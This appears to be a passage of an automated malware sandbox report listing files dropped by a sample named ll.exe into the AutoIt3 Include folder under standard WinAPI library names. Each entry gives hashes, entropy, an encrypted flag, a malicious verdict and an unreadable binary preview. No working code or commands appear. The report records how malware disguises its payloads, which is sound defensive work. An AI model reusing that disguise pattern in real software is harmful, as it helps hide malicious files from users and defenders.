Preview:xM.~....n..|i..;............Z.Gc...?{h&..<6P?.%`..z.m..'....KB...x{.k......}.I..H.#.....y.eR.....5... ....9...$...ox!...~.U7.?%.*........I.......t!.@..V.....r).V....&=...Imr..cg..vCE.I.q...Ug..-...,....h....S..C9.......d...].D...O!..}O.f.m.....FC..R...0.. ..-.u..|.yk......+..n..M..V..Vqn:].....i..e.!...n.....4.Q...g..DVq...H2..W ..Y:..R.7l.;t..l.d...ZD.k.v.-.B..]&.F..j.2...E.R.Js:Z....T4.4.w.,..Zs....8..;....Zryn.v...QP....C.R.X.2.0+.4,.1B.WJ.]... ...#........Cu..$.g...#.%.(...r.V...^.\...8....A>....%...(.....IM..*.v..Y..Z..=.....{\..2...o...=....^.9*...E..:..T...E.Mf..A>..w..@i.3.<..4.8..-}....*....Q..m......@...p.......xF..q..Q....m.V...4[../.j;.7.....x..+vo....E.[...xl..8....z.'I||..s.\....3=..<..|.l..Hs.0FzZ.%.....>.....P..H......J+(h....d.A.g.`.......4.{$...>.P..'&.8.!g.c+.....8...v.......C.....lXFk..|m...+...VVf..n`~.m....C.AB..C..`3.8.......Ud.U..L^....<DN..x.7...VY:.f.....S.3f..-.... ...p-1.u...f..Q.Y~.1.yM..5...... .!."A.=~]L....

C:\Program Files (x86)\AutoIt3\Include\WinAPIIcons.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):24603
Entropy (8bit):7.993091016254992
Encrypted:true
SSDEEP:
MD5:508171D70F3AB4D2D58A0ECA5C5E7F4C
SHA1:6C363FBF2E1927321B1710AAC0F751B359459100
SHA-256:33B6F693FBA51803467882D488A69186ECD5BB765FA23A8C19888777587309DE
SHA-512:85E16BE1901A9927CDAE74C3A9B5E23422D551425C8ADE3DC049FFECEA3CC33B71B16213B43AC9D5F88AF19F7DC7EE361529A91CD5EC48E7935F6A726A1A56B1
Malicious:true
Preview:Cxy......'.F.sAtX...'..:]..v..G.............SDV............x~.D..+....p....}#...e...C....T.%/E..x.....+..q.3....W........uK..I...........jb..|...I..H.l..Z.t5p._..zEq8J...o...!..U..hE........#....N..N.O.'5.....a.N9t.)P.#.Z.v/7zH........L.72.c..qRXkv.w....)$....a.[....w..3.RbUL.;....R0..K...`.;..CS...$X...`..y..!l..."..y........L..j.I.z5..O.A..(....D....,.'...Xw..S.C.aJ.A...^. r..7...).R.'.....t.....N)HT+Y..L....[.R..S:.ZP.?g..4..7{].@o.3^m.2.d.r-p.0..|`.AQ.\...9.k.......).~ .n.w.U......7.....tG.=..n.lX.. ..1...n..._.&.#...x.-ro..L....=..RS..z~.:..q..^...A..q.}.'N....D....}.VVr..C.Q...I..=.0..W&_1.....TYl....Sq.)..[.,...T@........*..\..[.0-..A.7j..P..'......!l.l4_P.dG+.C}k>...[..6....Zt:N ..oe{R#..J.!...B.V\.....Z.&..M..s3.$O..z.+;..S..!x.<.+.[8...dRS.|.r..-.L@-#.....M.+..'z6.7..z.{<.g.X..#.c.B.J..V.K]....."LDUU...c......7k.tZ.%..CT...S~DrB[.F.2.p..?........R[...6.*..{..8O....m...\..>./2G..y.mo.b..FT...<,P.<>.u.v..4.BKl.+..I%.....x..

C:\Program Files (x86)\AutoIt3\Include\WinAPIInternals.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):19405
Entropy (8bit):7.988591447703186
Encrypted:false
SSDEEP:
MD5:E729E3E2F92CF495D54F635568D94F9C
SHA1:DDA76AA5B818D93CAF10F8533DA84337D6767486
SHA-256:2074C2ECE8CE3D68DCCEEAD519FCDE47A8F65963FF6F2B8CB5B3FB44161A3E0F
SHA-512:3FB0701400B14987D2E79427BFD34C369CDB8A8DC642D332B88BD3F368ECC47F370318BE5A6822B86032DC9A6D423520CC88F3FE2A6D3718B5F279A197D626CC
Malicious:false
Preview:.=.Tc.<k......J\v...L.....k.C....O..l%q......g.M..D.... Xk,.I....5-;....wlo.c.5QG7....O.q...]....Ib...{....H.qd..|...X....Ps>.....Y.Gw."..NnR...@..LIc.B....=Hj..)t......<'.dl.u.94.f.T.V.0et|..*.........EW.>... .&.....B.`.z..".......E...4..7.0..a..t8E..~.+x....P>}...+.z.Y.R$/9....4........."5!..Z...7O....3....j..I..f..T.N....|.{".]..3.S.$.?..)B/.p.. ..^.Y.E...H..sruk,.z>.<.9...5.Z1'.;....;...,!....Fj..g..W.....z.....RAE..n5..$(P.y.....R..}B.r.*^....ZbVO......|..g....wF/+.7..-..8R^*.(....#KOW.o...._.....V...W..&.=_.@.[r..C}DIy-.._G...af!.G..).9..8.f.E$3..+....;.....DG...iC .D{;.E..q,&+...B.s-..z..*.-....1.+..N..-.....)Qj.W.....Iw......mnD.a.........6....M.8.U~.....h.W...pPKq.K.;..S....:..?.k.1....%.yMeN.|.=..(P.u...7:.........=;.a.#.k....#.$.T..(..6.4a..&..gv...........C`.........{.j..........:...y..v..Pi).d\..wqB[. :.S.6...D6.<.M.r@.;.....3d}.A...!...z..N......C.l.J. d.U......vu.`.........x.'s.7.Q..b..{RL...4.....L........-Y.X......

C:\Program Files (x86)\AutoIt3\Include\WinAPILocale.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):21381
Entropy (8bit):7.991069120796561
Encrypted:true
SSDEEP:
MD5:43A24166F088DDC37A3004FE352F47F2
SHA1:00ABD55BD6070637915BCC5632FC22C3E1E6AD52
SHA-256:BC82765E5EC6FB847F921ED0A2CFB80C9E4FB368EF1441212299D4C09528F41A
SHA-512:198D6CE806AC68C15A3084FF02DC900FA302F50687C976DCE078BB7EDB610F4BCFD7B51CD78F4298854D65D7F5CC24BE5B7CAF4C95FA96F585E1C92B75341CAF
Malicious:true
Preview:.2..;...._)'.*&...&$.s..4~nu../.....:.*}.6.m...+1ttY...`lE..*.heK...$.gK{..k*...,"x..<."X..[N.+.`&.sMW..3...H.......R...wQy.9.!.hP3+>..V...>6*..K..w.1P.~......@..Z.....R.....y.%.(..?..+.7.&..|...D....)Gi..b..K..I.=.6D.$......T...V..A.A..zK...+mry\.l5../.$R..t..Q.....<p<-.....y..rF.J%..(.5......L..o6v.Y.X....D......$..R..J.".:.)....p...]...o...v.G.8.L..:._.......Jgt......9".....&]).p .(...3...S..8..JU|..G!.8..%T;.t...9.;....w..?.....m...h...&.iU3..........._u8.%........O.%..E.0... .G@.....IB.9a=.k.......w..H...jZ.2...........Gg,.}.C.._.d<D4.....[..e.7...F.V..h..."..z....J..'......<....h.[~w8g...<q".?....e.e..)....*.....]...tz>.:-c...7...... .G.B.+........!..vWQ(.}..........l..]..g.d..".8.....BP.B..R>."..X.b..'....@.v+.Cg...zp.$...o^......T e.....xD...+...J'F....>. /.......Af.z...@z.......7.=...k.f.&Y.p3*..TF.N..7.I._.........|...-VE.&h{...$/.s.k.Syp...P.7Q.8...%&. .Q...R2..w.;.t.:\{t.Fi7/.z.*s......}....r..1...w0..h..v.OT......7+...d....>...N>.[.

C:\Program Files (x86)\AutoIt3\Include\WinAPIMem.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):22024
Entropy (8bit):7.992962628179706
Encrypted:true
SSDEEP:
MD5:80C3FE5574FA5F869A89A8566593F049
SHA1:FDB0B5F3AA0FC7C90D4468B25341BA3AA760B6D5
SHA-256:6D80FEDE305E8C9B10F2BA307F3B35FD466DDE2EA1F96A049CD89E18C9BC155F
SHA-512:AB18F2C869075BAA1A7668FF88142B002D26B1FF09616D12A3D910E874F52925F88C6D5D6B1A9D3D0212D4FA6F8F8B44F51A73BBCB55ECDA99F13A532980AFD7
Malicious:true
Preview:.0k...:_Q.E..G.<'.P|...`...'...e........h<........e..Y.......fI..od._:5.)?...E...?..........sZ..?.$.*.Ns.V.....l\../<...t~....kB4}.i...6....k.v.A..izWK......v....A.vv.}...8...v@..*...k}0H...Gq.Y.^R.t.y^.i.#...?U....7..v.<O.FfD.....4.....2[..s..I#e.D].On.....Q...<s.E,e$D.[ ..&q../......[.....Q........}.l.-S.nO..y)..Z.P._..2Z...:..!.V.n.n._...!....@..)_....%j[ny...l....eE.^...!..0.....%Ksw.....`..9".j-.^......{...|......#l...=<De...0......l....I....un.vF...T..........,.....4...{.rv.Hl.....=.F,I..... 3s.#..oA....Z...V.=Bm.U.\.?(.r.I..{l.).O`..&.........{..K..,.<..K.b.bq.6.w....!)8v......u...H.S...gJ.H....gs..>:<W.........X..3.w..b...u@.*ST7.k..;)|[MW....\.F.3...MU.X..l....J...F...GB^..d6.w.._L./...1..0c...CV..<..X...&...R+N,C...r*..n4.d..`....x.. ..9.U.(U......m(..>..q.S......8......(...A<...i...Ck.WO.j.:.....E,b....M..Ar....y.=.o.#.k.....o...Kk..B...5...I.>...L?......`.3.O\.u.v(...\Y.....P.../b.>..[*.s.....}.Q......n.mWR.|........+ .3..U..

C:\Program Files (x86)\AutoIt3\Include\WinAPIMisc.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):14790
Entropy (8bit):7.985636448134027
Encrypted:false
SSDEEP:
MD5:F84FCE299C2B79A7AA033E8EA1AFD8C0
SHA1:B8075547B2D733EA44DAB1D04D6521B4AF501D12
SHA-256:BD72CC445F92627A6C9FEB126BB95CA1541329FDB5D1F2AFDA7ED28FB5F8A937
SHA-512:9F0F4DDBA96058134B37957A56412E4AB04EEEB93F8103E0B1549978C48464AB7C221500FD3F1A1EA326FAF4F5E70CE7B7654CC8D5AC1DF960BD4A17E7C6BE4C
Malicious:false
Preview:9.H.......t...cs.&....F....%.....rnB<Y..[......yz..8Lo.F...U..[.. Bch.?oSw...Y...e;V.9-2P..{...!5...A..E........E.#..h...}..........x..#....m.8..;.x....3.......q.g.&........U.]79?./.x.V.U=...~-.9h..L..8xP....3.h.:G...\..M2.v%..)...f..N-t.y.......L>...m.K..L.V..u*...R....R....*.._.p..8....\h......c....K..$^.....I...'.....SS.._.g.....k....V+.$.x.Y..+.$...........!2p.....Z..].IV:q/:?..U8.........m...<........mhT.mr.S.E...q.6.o.f6?.%.d.......Z..+..uA....V........Hik.U...[.Mn.2l.....![0D.Z.y9..U.....Q..Y.g$I...U..=..10/.n.......:]a..I...I.0!...M*S..Zii..0...=....t...Yp;..Y.|.#..c.....W..%L....Z..2A/..I.2...2X."{..k6.../..#^D.h.iK.?I...g0v..M....b|......a..;~B.6..D0...b.'@....#....|.!.o.c.3...O....<^....%..@g...._.....t.b.n..i..ep.q.'9...k9.t...`&k..=..o..WPA..g....L...S.:....i.|E.(u/.).[Z.:l:M..>...uA..<.!.w5....#.#....yU....~..7b.G/..iI.n.w..$21.$.F......w.$.{.r.....%q..Z.PfD."O.u.W.k....@V...0(~.8.P8..v.....@i....{...).rMiJ.M.a.^

C:\Program Files (x86)\AutoIt3\Include\WinAPIProc.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):76854
Entropy (8bit):7.9973716288120125
Encrypted:true
SSDEEP:
MD5:459D22E547F3DAFFAC2809DB2B2418A0
SHA1:9579E50B183811D7082DC6C796E93325C726B3B6
SHA-256:2A6EE9C0A5F968CF662CA5CBF37790B9CD2D622932024D6C7F3171337E8E99EC
SHA-512:136380462F68386BEB8773F7800618995ECD70018F2B4AFA4531F06E92E6A8D77A7D79E342263FC08C52B062A34633309AD03BAE2CCC0CEE5B5DF8DF5027450D
Malicious:true
Preview:oN..`.....8...._.J...C.....w[3....sMwV.h...B. \.f)./?-6.....@..n../.C...^.....!W&F..p@...z..n...S...N.>W.*.'....}L.wN....CY.B.%2...YL..N.dx@....~.P.#..D<lW........E.mk.m..>.,..|.U_....-7..._.N.......P..;%..`..E:.HSE....%%c....+,.....9.......s....dB/2/E....l0b(.t=..l.u..B.:..2.......|d.0..../!..%.}Z|...2....Mu"h..jV.d~..yd.C..\8G..,....q]Y.d.Qg........w.j1#.].T...^..0..v.y.(.......SF.D.G1l..a.....$c).;yf.......r.,E....=...z.k..\.I)"..H>{..9.....1....r$.....U....)`....k.|_B.MFl.HB...6.........dW:.n....O......K...;.._d$..f.(........'1..q.......(.|.Y...5#G.O.,1o.."....;...}..E.?W.0P..S...O..]..3G.....#2.......b......)....^.2...k........o.!D.up>.S.1. ...#{...z...&..So.;.je.sM._...- ...~.s...@k.[...t....V. ..V8..;.5 ...SQ'.-.*t."..!.o.A..t..0...u...o...8......v#..S..7y..p. ....&;l..7.Q...M..)/.kc.>....;.....<.XR..ku..MTh...X+.E!...i8y..EvJs&..6.1.....Y...8.`.x.=l..Tm.'4.......62..sx.....p0...$...i.....W*.:.%...4.....t+...&q...7....L9B..

C:\Program Files (x86)\AutoIt3\Include\WinAPIReg.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32457
Entropy (8bit):7.9948535372019345
Encrypted:true
SSDEEP:
MD5:49354FEDFAF97F70CF888355DC884E7F
SHA1:349B15BC916F210FC544BFA913AB0415B20B98D0
SHA-256:93C8E7B7EB3882470357D9141CD6AA3AD9E1FEE1E5E90815852BBCBF033E985D
SHA-512:C28A4DCD827A26D55FD7C256828339A8C1B2A63F2D3D8B55AA4E96B669C89DA518F87CE6E4C1126BCA4B487CB663F8F0F153C7BF206E8DCAD8C2E3977ACB294C
Malicious:true
Preview:..,.:.u...Sf...yh.....F.=.....|.x..6YY..Lr.og.......Z'-~..9......bN..T|.G:.$Y..."..d.l(p..Y5K.*...)31Y.W..9.e..}..c...Z...W.(d..FKI.|...Me.....hN..]|.(;.*.=.g.SUY..:..m.3.gz.O.k.=Qs.=&..6......'..xS..v[..@.l...."...6...L..C./5i.....0....Qx-.......P.n...U^..]tE6.H....)..w.q.*49I.`...I..............P@....B{....QJ..v.|....t...."-./:P.....;.v...N.bGq..,........F...cP....3....c.....s8N..U.e.52.....=...._.......&....O.ul......v.s;........)..y..z~..*......Af.A..?....ZH.r..0.rn.U...c..!......u|{.{..W6..e..x..D.c&...<h..c<....]g.....v.{|........."..bxw.V..X..8.....*..^^q...(.dF...q......_B..ru.&....].a.....r......... .T...W.Q4{.[r+.....bz...T.....h,.-..i'E#...i....o.1....s,..(._.?..-.C..)H............6.8.`.Q..w[f.@.B.gFm.U^.j.x7.:.N.C....>.`Yd.-.{~O.....'..l.*..'... h...>.be.......;]......G.u..A...g.X...1.....6g"..1.V.,.ekn\.H....@..`..~.+.>GQm.6.Q^..Y.....fU..d....p'....(.;G..J.7.*..e...2..7.q....B-V.......*..e)-).)....'..0<.....51.....W.

C:\Program Files (x86)\AutoIt3\Include\WinAPIRes.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):38502
Entropy (8bit):7.995525582929296
Encrypted:true
SSDEEP:
MD5:B7E5AE0CFB13E0195253ADE323E5877E
SHA1:2468497C7EB561A5C24FBF76B1597AB364ECFF86
SHA-256:B0BCD39DAC2A416C4D0F310A5CB53F85ECCBD82EC189566BC2F47A525A50D601
SHA-512:97639AA0734E62FABB4FF7E08AA7A175588581A15A1C246B0DDED5E2B6207A5586EEEA1D6A2F56F92E0CD9CC18B9D80327819BD720009EB7BA97CC558615FA44
Malicious:true
Preview:..{...uy6G..2....Q..8....pw..Y..Y:..-...gM.....=.......v...~..QoUA?cm.41...gS..&..ma.:.C.]9f\p..E...<.=...../..gC..\.%4y...%........zf.;...<.m...\2..[..}..4...(..,.4..o....*.i...N.+i...e.=.t...U...mq.'@p..]..."..8.h2.5..uq+EG......... ...v..F.r<#.K.SgD../......D.....6...d..u.W....K........e.w..?..5....o.;7..DV9..>.Ny....V?.z...5cx.(.y&].1r.......^.`.@[J.\.O"<..nGa..{}C..7T.`....x..U.....l.......DiDw.?..*..?c....<.......a.?S.L...v....P..Jc'.....d...iG....Tv,.M...s.M.j..+.D&.Nq..L..]..T6[...AT.G.....J......tv.......`.q...'.B....._.k..K..pD.R.t...B..?.....)..%Y..?N.....]..gD.u)[Y6.%..>H....../.-.)_.k;..8]V...o.....>....u*.6eD(/6n.(H.D...C.[..au.r5...;.<.|.6....3l.VM.P......L|....D]... .d.Q....L...#4...%.zKR..m1/>.....C..q..G.u.....'A....,.u?.W.5.d.i.......ZS......xdfTqs..K..T.6.......Pg....g.F.".c..|....C...U4..5Cxu...;%.: ..g......EtX....T...O..?.<.pj.7..wK..S....7..{.}.TS.......(.|.;....KL.M.......~..6..O....:. [.F.qXi.a

C:\Program Files (x86)\AutoIt3\Include\WinAPIShPath.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):44981
Entropy (8bit):7.995751425805697
Encrypted:true
SSDEEP:
MD5:415CE331C8E79FDBF3D2DB5CE4DE5CD9
SHA1:AEFE5E30A9B8A89EC514CF21EB998FA6A477E2A8
SHA-256:FD47B169B9926FB69EB866F0FC2859022F08B5804B8ABAC36E317E11433792AF
SHA-512:2B8BAB38B00D48DAD2F25A6734FD1F3E2CE61D9283C924E5C9BD3837B55A92666F1FC0A350BFD948EF7804247554D1FFBF801123F5E87602796BE31AE721F754
Malicious:true
Preview:d.. ..@..wI.g%.W.X.},..-j.n..o.,.DL1r([.?r.......[.J.RQ....F,..*.N.9_...z..5.S.[..d..+@...:J..!...Z..o.a..~..=Z..]'....0.k&..B.QC/'g.....T.l....\b..>5.(...Y.....Q..2....."....5..K....a.*..7....0t.^......j..EBwt3.a.o^..k.A.*..U.R.......|......{V.%B.c!...D...jW........4$.].T..-.j~.U..x(Ay..l..W....(...........Jo....d{..FR.m.?.C...h./odo|...T.G...v...i.."}.d.V..WV..n......c...=..GJY......_.l.3._(...z.D....:z....sT..A<|s ......S..b...<.3..C.`.'W.8.,..8`Q......^.nU...j..Y.J....d.~...l..D`.-...!?keD.Q.X...F..b...%......;r...F3...H....:dsa..*.T...{*....r@......r=[aA..Jr.....GHA..&.b.B.1..{.^....N.{Bb....&.uyAH... .i...Xf.\r...V.n.V.2u=.ZI.r...G...b....V.6G...>.wi.........T...<....$....`...s......t...;...R....s.~y5E..h\..q."..#I......?.3....=T.W..:...~../.N..o.r.Y<..\..b?Vn..$..g...t...V.../U...J...yA.><;.\h.....%q.=..bG.@F.[......n.|N...A.....'..CJ]y........@I..Z`f.&5.d]...].T...V..[.....O}1...M..iD...:...__......!.k.nEk.....jt.$.

C:\Program Files (x86)\AutoIt3\Include\WinAPIShellEx.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):43204
Entropy (8bit):7.995598927241313
Encrypted:true
SSDEEP:
MD5:F409554A94CDFA14C62CC364D12FEE0B
SHA1:643937A2FFFCE582ADB9A6919431B01799ECEBA3
SHA-256:BE54841815211CFBEA19D4B2C61C4C321F13F40149C865DEC812210EB7B09D0A
SHA-512:06364BDB17ABE2ED6DAF45D4676C6119B3E712AD4E6F7C23209D772287952E8C85D13846ED8B4EB46FF2D41DD6A4D9D3654606D2FF92832632A84DB7265F1E13
Malicious:true
Preview:*..S.<..F....I..)BHK.lO..F.){.A..I..m.i,..^7L7...:\......B:k..1j....}q.J\.z.........ej..j.....Hy.].+.p..:GAcHH...........Fq ...W.G...m.....k;n.....`cPI..x5....h8|BP....ab.k.=...#9....B...rY..'....0.,...Lq.x..Y......3........zI4.....#I.....=6...oC..e..d...@...IX.H..dX..l..C.....O().^V...L.#/3.h.N...R.O...0\...[.t. ......6.m..<.........v..........K..q.O.......*.4.$F.~......V..KX..f.......w..dr.Z............CF..dX5.....&FU..0.....'....|y%..Vq.....H.L:..l|D..........!...`.........P.n..L..n'..=.je.....XpBz......).</ui2;.....!Yt8...[..........#...G.D. .,....~.^.C...X."a"....B.E2.G.T;K$Z.0..jq^..A..v.....&y....Z_........#......JM....d..Y..U.....$.a.CM._.3..ry2...8><..m...\z`.X9H`P....f.....@mN.o..V.'...P<r.Z....I.........tqrp.Y~~. 7X.`)S..~F...\4.J..4b".3.7.u.t}...S6..\....B.T.1eeQ%.u.......<..n..gM]$...h|"H...o...9.....$.3.%.......X.<8...O...4n.....Fz...?.X.y..m6..?6.n.6....Z.`....L.Z6..@........}...:..M...~.#....9{I...?8..G.......?.IwF*..;...%O.@.

C:\Program Files (x86)\AutoIt3\Include\WinAPISys.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):78217
Entropy (8bit):7.997629675535789
Encrypted:true
SSDEEP:
MD5:11D4BA2E2312596DB250D82D40351F23
SHA1:8CC2732880321F4CD05B48EDF60FB07A14EF6F20
SHA-256:47CAA8435CE7AAEAA06AA111E24F27CE301B1C3E3F92F482AA2BF295F2A20F8D
SHA-512:94F579F5582723213616DC2494409D1E65E5A4375390B1934525237F5BEE0CB9CF969DCEE7B46D02E63BF0ABC3DE2F30885B6BBAD476401C2B67AF1471B84B07
Malicious:true
Preview:...:w.U.*..p.Bcd.`......t.q9.Z=....D....k.17.....vv...:...2!tV........@....3.K..1M..:..KO....d.....*..`...D1.1.(Zn*...).")...zd.,..=..BU....0N.bG....`1C...e..C.V|..b..mr.....}..[...*=.P....W._.7.]...-..>=%k).....?..#9ez>V...G.Q.a.^......FsJr....G.(...d..Y..Kq[d..s...1C...A.G..V.`..L.....u.Jpq....=.... .|.%O\&]....|...`].....f....t..9!.J.w.s..?A,....rM3.dA.x....^.._?^..Q..!..l.DB...KW..@`N9.C";.".m..W.8..L.Ay.....c.W.wo..Ds..D.*(@.....88A...!a8_.0.9.m.[....:e..1......mT.bE..*g*.b....+.`.......;.....;.&.|.....o....}.B>.C.......78K...d(O..G.?A.TEy.'%.....%..../%\.'m).o""......JV...>X.t.....*.(....._w6........./on..kw.T.......J..A,...7....$...z.H.K....^.`.Y....O5jQ9.I.=.0W:.(O-W5( ..........`V". ...3........W.9.....tb.....\....U..U.(..,R.`..;...7.......KP.P.V.......Y.....R.[sh.KH.&.L..*QA4F..#.f}A.M8"..'.>..b.....Nk;;w...d&8.N....].......o..k.+.......~.......QV.C..#..IXV|..x.1..MN.A..h%....}..+....&....U1...1..4../.....C......... ,.lW&

C:\Program Files (x86)\AutoIt3\Include\WinAPISysInternals.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28665
Entropy (8bit):7.992452853330523
Encrypted:true
SSDEEP:
MD5:A2CE17C9D14CA45C9C10EF0041E5AB3B
SHA1:B832B968F452C549C40B21100ADF8F93D91D7FBE
SHA-256:0302EB22FD488944B09F4E0492D1A9B729F788E92EE554D6A7C4FBBA0224C3D9
SHA-512:DF837D2D5EF19A9D2A93D264880DDA5FA3DCE1C9455E06D81789D539F4FBE38894C239559053DDCB055925DD719A189EEBF7FE02D4833B74D435D165DD74A725
Malicious:true
Preview:..?....:....m.B...L.Aa......".p....m....G..'7...O$.H4JBr"<.,p*.rxf-cd..$.B...8.h..zo..-..b.+.Glb+1`a....$o.t[......rI...U.Ul....Ys.'..B....\..Nn...X......c.@...._R...rZ..Q.....me,!........`v|..?0..z.v.`W.....Dd.P.....O.....QG>..y.Bag....G~...7VLq..jc.m...M._)..........T.,..A.......#........G.^UC...0.3UpOH.P.~.8.....3.5.W..e.....c..*.......&Q.. ....C:3e.....I...A..7<.W.|..p..e.K..Z)..:.p*...Q.....W&.w.=.'..^1.K.....xk...ru....<;F.P.zc..2....?.6.q.... .s......J.p.c....#|:8~....I.Q....8...].K.D.....Zd...>e."#..D).N..y$...i.........UXN.dE.u..=.Q.'z:3.s.d.2s..E..)...o..o:/..O'........+.L.t.;.Vd.A.+..?.rx|.;.......b..o,f..u"y.i..8....."...b7{..Z........!.>.F.|.....X......(..S7!..3D..?.*.]IS!=(.X...=.kV...?....'.L...)..b(&.......r...Y2..:..JdD|d........#....S.(...Yw..r.<(.W./rt.J$;..X,......c...r........].X$.k..X..n.......`(...4..2.e...%h.....8.F....x....g....|.k.......6...v...........lU.X/.{.5..%BZ#...'....b.l....*.n...K....6l.&

C:\Program Files (x86)\AutoIt3\Include\WinAPISysWin.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):58755
Entropy (8bit):7.996721761034301
Encrypted:true
SSDEEP:
MD5:541F37A6B30E818F265C719E4B1666D3
SHA1:E3B4B6D6F632FADBECEF118B20A561C5CBE75402
SHA-256:367EF8AB15964855CE4E4842458B0E4FDA1C392A3C073BCF68A599F40C5BF64E
SHA-512:DEB3E3C9426159F3EB8C01CBA26A912DCAF48AABA13AE1DCDC0BA0A6B9F11E7340095C81FA606CBA657A4599E7D6BFB67165E9B2C71B6C071DE3DEAC3EA1A976
Malicious:true
Preview:[..V.|.*);...=f.....f.".Xk<.!5.....I..pN..........R.+Y=.Ln(........:(...n..........."...ed..'..4.0.P.....wL...H.5].(.f[..i..;....(.L....&.C[=D.y..ej ..l...!<...K.#.|]OVB."[..E.Ux.Q.C..o.,.j.q_.m.1<..!si.m..*~...g....d<Pdi..-w..s.}.(......4....rX..2........Vhq..]5...5....z.....].U.....;.n.EbEJT':...r...l2.5#....j.>.&..F.^i...[.c.....G.....p( ......g...=.PQ..&?.h).i...,..a.....&fc'.........v.]=.+..O.....cY.F=..B....j.b.4.d.u.G..$.Z_.f..C:..iuv..}=.R..K.....NU..X.g...d.0.....!|.......+..Kj`Y.i...!ng...1.q&.H.5......A..5..X.&2.d1..\.A.tu.dk|..2|I..=n$....[..Q.S.z..%.!38C}'.....H..Y..[.....un..*...:..n.........Ka.......+$.....P.s.xR.7....-p...AP3..x..a)Qz...x..T.vxN....V......<..D....@&]:..U.h....5ne"a.^.w..O.W.X.6.ty...za..x]..RM...... _<....F...<.g.-W>2'...H...%.Ch.........'....n...K.5..J..#........L...QI.?6z.C...V..I..)Sa.h..;.}.l..J..B..k.]...c.L..F....`......r...'L3.]...R/zt.~..n...(.S.m.....(Dc.G0...8/.!.....i.N_6... .G.$.'....f.......z9J

C:\Program Files (x86)\AutoIt3\Include\WinAPITheme.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):42039
Entropy (8bit):7.995617242686889
Encrypted:true
SSDEEP:
MD5:CF16DCCFA327565B7A1523381C0CC8E0
SHA1:1F2073A94522812B03C4541494809A4F4D84AC50
SHA-256:AA31DA3FC7E64737DB417CFCFB7CDE0593C7A3A54262CBAFE3F5E783DD131DFC
SHA-512:C486FD602731E86A5DB5FD8EA6318EA5CDCC282266809ACC28BE664DC8D71985EC916999CDEBF813A8B4D110A5FCF804B7457D1FF0667C50D8901D9DBDF7E138
Malicious:true
Preview:../.MK.L.. ..5.h.."..........U.#....p..[r..Q...F...3,L.ig$...j..../....[....E.>?=...fB..n..T`\.[=.T..".g..ky.PV.P..b.j.D ...M...P._.y.+..i.3.5.1.......oq.i..[..K.h...Z0.6y_.H..%....Fg...:.X"U].._..Y;(........Mg.....T.s.w......RA1.E...>Q.l...S;......tY...f...:.",.I.G...]"....0...b.qp.... .......#..{....>vt:...H../........;DF.&*?.@......"*+.nqK.6.i.k..}.`.i.f#O.B.H.......w+..=..<..T..A...S.pk.6.y.q...+..s\... 'j.).}8.-.(..olb"..<...9...^.....|.............Ta..yN..x'C.~9;..t..1.K_6......!3;>.;.?Cl......Xl.....v...:.r.P.$...e..m.si<..;k6.8.||Z..........?.I....OP...7Q..a@..FX....L.3.yd.CN..,....m.&<J..W.....%#....DI.,9.U...L..$.P..k..A....*..r....-.>....6EB.dB.h.h...<.."....hs.F...d?2....-9...*^.6.f..P.|.:..a.ny.....1a..R.j..S..........l.. ....#...."...(..U.A.{`/)..V..#..y......x..3.u.J.*3..e.L.B.i'Wu]....R..#...qD..z.....>...ew1Z..(.q.Z.M.....}F./U.W+.C..;`...3.@t..v..b.IU..oB..#...2.~B.w...1.c..M..4ru.u...+..Q..c....... .....

C:\Program Files (x86)\AutoIt3\Include\WinAPIlangConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):8851
Entropy (8bit):7.978009626500231
Encrypted:false
SSDEEP:
MD5:E0AE4C0FA77F32C6A5421F992AA0B8CC
SHA1:8777EB9FBBE737D4297E279CB9CCA61A97BA6419
SHA-256:BEB83A8F38EACDAC2484A52404CF2C2BFA6D93B1ABAF3CD15AF78225771DC923
SHA-512:34CCE516BE55C96B7BBC1E33D9AD147A23EE648AE6C8FB239FD658FE6E90061AF633C4100B66A529A916599A799F114E99C2D6D9131BFDC052D072BFD5DADAAF
Malicious:false
Preview:.n.$W..c+.....n..\...?..g..{b.3$...*O-z.~.u&.t....s.....k..8_.$<.h..:...:.4 .\;.(S..?".. G. ....Q..O....YU.5..Q....G..!G..T2...~.|:7:_)c.X....$.C.W...at..A.w........$L.}..+..w.........B....wU....O.-]@.(...e.fv.:...9....$..@>.-V.7.M0.0...}P}...l.....=Nr.0.#$X$/bZx...2.M...J.....W.0.B..?.+.....:.}......:.x..}C.'y.*d...I.P..K^..$......8 .3.....<.Rq......;...=.a.O~.m...(...|..$G[*..x...MD.K...@E}..0.l.L.<..f.a.s....d.%...n#a.\f>z=...]_ ...3.mQ+..I....D...u....>..j.".C!)...PLv........8..Lq.4p?Fh.9(F..-.*..M.C./.?..*.........L.{) 1Y..0]..@.vU.odI.......Y.^$3.).....RqcRq.qZOf...I.....<....D...@..U........@I7..2P..5S.g.Hq@:...;..)....?....%F2...hg..5....c,.v...q...q.....%.:... ....^`...k....ZB~..$..........F.....g....yn].......EW.......NO.3Z.HI...O...}........X3.m...}.....K=..ES9.A..b.......6...}..?.|.....o.....j/.?m/.. Du.....7TH..f.....C.R_.~z..I;.b5.....-N..}....U..o.7.....5oA....7'1...a..FoA...f..q./..F..j2^-....;.{.|..]...2H....~N.D=Pp.+...2.Io

